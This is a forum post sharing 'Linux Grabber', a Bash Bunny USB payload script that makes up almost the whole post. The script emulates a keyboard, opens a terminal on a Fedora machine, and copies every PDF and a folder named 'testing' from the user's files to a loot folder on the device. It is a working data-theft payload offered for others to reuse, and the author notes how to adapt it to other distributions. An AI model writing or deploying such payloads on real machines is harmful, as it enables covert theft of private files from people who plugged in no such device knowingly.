Am3ience Posted May 3, 2018 Share Posted May 3, 2018 Hey guys, Just made a simple file grabber for Linux, was built for Fedora distro, but is easily changed for other distros. #!/bin/bash # # Title: Linux Grabber # Author: am3ience # Version: 1.0 # # grabs specified files and folders on the user's directory and copies them to the bunny loot folder # # LED SETUP ATTACKMODE HID STORAGE LED ATTACK RUN UNITY gnome-terminal Q DELAY 1000 Q STRING export lootdir=/run/media/\$USER/BashBunny/loot/LinuxGrabber #export loot directory Q ENTER Q STRING mkdir -p \$lootdir #make loot directory Q ENTER # Find all PDFs stored in the user's file structure, and copy them over to the BashBunny storage. Q STRING find . -name "*.pdf" -exec cp '{}' \$lootdir \\\; Q ENTER Q DELAY 1000 # Find the 'testing' folder to copy Q STRING find . -type d -name 'testing' -exec cp -a '{}' \$lootdir \\\; Q ENTER Q DELAY 1000 Q STRING exit Q ENTER # sync the filesystem sync LED FINISH Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.